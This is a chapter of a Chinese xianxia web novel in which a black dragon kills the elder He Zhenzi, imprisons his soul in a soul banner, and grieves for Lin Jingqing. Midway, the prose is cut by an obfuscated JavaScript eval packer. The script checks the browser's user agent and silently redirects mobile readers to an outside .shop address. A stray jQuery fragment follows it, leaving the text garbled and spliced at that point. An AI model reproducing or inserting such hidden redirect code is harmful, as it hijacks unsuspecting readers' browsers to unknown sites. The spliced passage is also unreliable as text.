殿门开了又关,一道红影轻飘飘落在地上,黑龙慢慢走进去,每一步都不曾发出任何声响。
吞噬了妖兽的鹤镇子正闭目养神,慢慢炼化那些妖兽的灵力,感觉到有人后也不动弹,只淡淡问,“何人。”
元婴期确实是大能,尤其在御兽宗这种犄角旮旯的小派中,修到这个境界,若龟缩一隅,恐怕当真是没有敌手。
是以鹤镇子根本不认为这个不速之客能对自己有何威胁。
直到灵鹤有些焦躁地站起身来,全身戒备地盯着黑龙。鹤镇子才复又睁开眼,待他看清殿内站的人是谁时,忽然大笑两声,双眼直勾勾盯着黑龙。
“你竟未死!”
黑龙没死,死的另有其人,林景清的命,他会尽数算在鹤镇子头上。
鹤镇子站起身来,枯槁的脸上流露出一丝令人生厌的贪婪,“那日让你逃了,今日你送上门来,真是天助我也。”
黑龙冷冷道,“让你苟活百年,今日下了九泉,也应觉得够本了。”
许是黑龙气势太强,鹤镇子竟一时被他唬住。可再一想,五十年前这小蛇不过筑基,便是再抬举他,如今也顶多是金丹期,自己好歹元婴中期,难道还能被一条小蛇给吓到?
“狂妄小蛇,今日便让你知道,元婴并非你能招惹之人。”
他伸手召出灵剑,两指从剑面划过,所过之处灵力疯狂涌动,鹤镇子脸上势在必得,“去!”
元婴灵力携排山倒海之势袭来,黑龙手心浮现蓝色灵力,单手掐诀,那气势汹汹的灵剑竟然当场滞在原地,再也进不了分毫。
下一刻,粗壮龙尾便当场将灵剑寸寸绞断,残余灵力化作冰刃,直直冲向鹤镇子面门,下一瞬,灵鹤双翅大张,站在鹤镇子身前将那些灵剑挡了个彻底,而它自身也露出了斑驳血痕。
此刻黑龙的修为,已然不是这个小灵鹤所能抗衡。
鹤镇子脸色骤变,想不到这黑龙竟也是元婴期,更令他惊诧的是,那尾巴哪里是什么蛇,分明有了化龙之兆,体内定然有着上古龙族血脉。
到了此刻,他都没有怀疑过世上最后一条真龙已逃离无定海。
黑龙只露出半截尾巴,因为鹤镇子也并未想过站在他面前的就是真龙。
鹤镇子忽然仰天大笑,“苍天真是待我不薄!今日竟叫你撞在我手里,小蛇,你血脉不俗,老夫愿意再给你次机会。你若与老夫结契,做老夫主兽,日后必不会亏待了你,还会天材地宝供你化蛟。”
“是么?”黑龙冷冷一笑,目光略过灵鹤,“你不是已有了主兽。”
鹤镇子死死盯着黑龙,“若你肯同老夫结契,老夫便只养你一妖,其余皆可作为你的养料,如何?”
他自以为开出的已是天价,黑龙没道理不应。
灵鹤缓缓望向自己的主人,它已生出些许灵智,又因修为高,一直是鹤镇子的主兽,虽见多了鹤镇子用妖兽供养自己,可它总觉得自己是不一样的。
它是主兽,跟主人是有感情的。
可不曾想,在鹤镇子眼里,所有妖兽都是他往上爬的血淋淋的尸体阶梯,足够强大的就活着被他利用,不够强大的就去死。
黑龙懒得再同他废话。
“你这样的老扒皮,给本王当踏脚石都嫌脏,当日你我的恩怨,今日一并了结。”
尖锐龙啸声令人心魂不稳,鹤镇子心下忽然有些慌乱,修炼到元婴期的修士必然都是经过层层雷劫,水深火热中拼杀出来的,面对危险本能就会有感知,这种直觉已帮他多次死里逃生。
鹤镇子不敢大意,周身法宝齐出,其中有个魂幡很是不俗,里面竟有数千妖兽亡魂,以术法催生其怨气,带着令人惶恐的威慑感。
黑龙化身为龙,张嘴一吐,自他身下为中心,周遭迅速凝冰,并且飞速往外扩张,一旦触碰全身迅速僵硬,立时就会成为一具冰封的尸体。
鹤镇子此时也看清了黑龙的全貌,眼睛瞪得死大,灭顶的惶恐笼罩着他。
这……这是,真龙!
怎么可能。
真龙不是让连宗师封印在无定海了吗?怎么会出现在此处?
绝无可能!
可那一双苍劲有力的龙角,冷光沉沉的幽蓝竖瞳,通体墨黑鳞甲,如浸了月色的玄铁龙鳞,裹挟着森然寒气,所过之处寸草不生。
他绝不会认错,这就是真龙,是天灾过后世上仅剩下的最后一条黑龙。
下一刻,鹤镇子祭出乾坤袋内所有法宝,像当时归元秘境的黑龙一样走投无路,孤注一掷。
黑龙锋利五爪狠狠刺向鹤镇子心口,下一瞬,尖利的鹤鸣声起,一道白影猛地冲了上去,竟是以自己身躯抗住了黑龙利爪,余下的冲击力不足以要鹤镇子的命,却也将他砸出去数丈远,直直撞在墙上口吐鲜血。
鹤镇子一刻也不敢停,抬手掐诀,以自己神魂相燃,试图最后再博一丝生机,而对那拼死替他挡下致命一击的灵鹤却看都没看一眼。
黑龙甩掉灵鹤的尸体,施了术法将血迹清掉,而后游刃有余地望着鹤镇子做最后的徒劳挣扎。
以燃烧神魂的代价,鹤镇子终于撕开了一道口子,
他迫不及待地冲出去,转身便将黑龙甩下去大半,鹤镇子御剑疾行数百里,回头见没有人追来,他暗暗松一口气。
他捂着胸口,嘴巴里全是血腥气,显然受伤不轻。
怪他眼拙,竟没看出那根本不是什么妖蛇,恶龙长夜逃离无定海,此事必须上报仙盟,刚好再将徒弟的死推到他身上,届时将黑龙挫骨扬灰,永绝后患。
当时连云珩封印黑龙时,就有许多人不支持,认为妖龙强大,若只是封印,日后必定酿成祸患,可连云珩竟然用什么“妖龙不曾害人”之类的可笑缘由,硬是留了他一条性命。
天灾带走所有强大的妖兽,为的就是给他们人修让路,如今修真界已是人修的底盘,那黑龙早就不该留存于世,非我族类其心必异,正好趁此机会请仙盟出手了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17764651|209662||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
结此妖物,永绝后患。
噗嗤——!
鹤镇子胸口一凉,他怔怔低下头,瞧见自己胸口绽放出一朵漂亮的冰花,他吐出一口鲜血,身体忍不住因这冰冻五脏六腑的冷意剧烈颤抖起来。
下一瞬,冰霜凝住他全身,黑龙轻轻挥手,便碎裂成几百上千块,从空中哗啦啦掉了下去。
一道紫色人形正欲逃走,黑龙抬手一拢,牢牢捏在手心里。
他手心冰凉,鹤镇子元神被冻的哇哇叫,“妖龙!你敢动我,你要是真杀了人,修仙宗门不会放过你的。”
那群自诩高义的仙宗?黑龙从来就没把他们放在眼里过。
黑龙垂眼看他,苍白的脸色竟显出些许诡艳,“我当然不会如此轻易要你的命,那不是太便宜你了。”
他拿出一道飘着鬼气的魂幡,鹤镇子见了后立即大惊,开始剧烈挣扎起来:“不,你不能这样对我,我是御兽宗长老,求你放过我,我可以给你当奴仆,我也能帮你捕杀妖兽修炼,别,不要……”
黑龙无视他的哀求,将鹤镇子元神丢了进去,里面飘荡着千万头妖兽之魂,各个都身负怨气与戾气,闻到鹤镇子味道后他们尖啸着扑了上去,对着元神撕咬,啃食。
这些被关了多少年的兽魂,早已没了生前记忆,只余对血肉侵蚀的本能,元神遭受重创会痛苦难当恨不能立刻死去,但魂幡又是温养神魂的法器,元婴期神魂强大,轻易不会消散。
所以这种生不如死的感觉他大概还能再体会十几年,而后才会覆灭。
元婴期后,神魂凝出实形,相当于给修士多了一条命,若有朝一日身体死亡,元神也仍然可以活下去,只要寄附躯壳就能复生。
泯灭元神有伤天和,会在日后渡劫时更加困难,一般修士不会这样做,但黑龙对这些毫不避讳。
黑龙站在山巅上,万丈孤峰刺破层云,崖畔生着几株枯老古松,枝干扭曲虬结,光秃秃的枝丫斜指苍茫天穹。
他望着日光稀薄的天边,抬手摸了摸身后微凉的棺材板。
他报了仇,却不觉得多快活。
这两人死了又能如何,他们就算死一千遍,一万遍,林景清能活过来吗?
他又想到那颗珠子。
若非自己执意去要夜明珠,林景清又怎会损寿算命。
他低头看着手心里的石头珠子,若不曾任性,如今便会是林景清陪在他身边了吧。
心口郁结的愤懑堆积,黑龙恨不能仰天长啸,将掌管寿数的天道一并撕烂,踩碎。
苍茫余晖洒落在他身上,黑龙独身一人立于万丈高山。
若修仙到最后,就是他一人与这万古江山同寿,那好像也没什么意思。
“病秧子,”他轻声道,“你要是识相,就叫我能找到你的转世,若是个奶娃娃,本王就一把屎一把尿把你带大,若是个老头,本王就给你养老送终。”
他垂下眼,长睫都掩不住眼底死寂,“别叫我一直找不着。”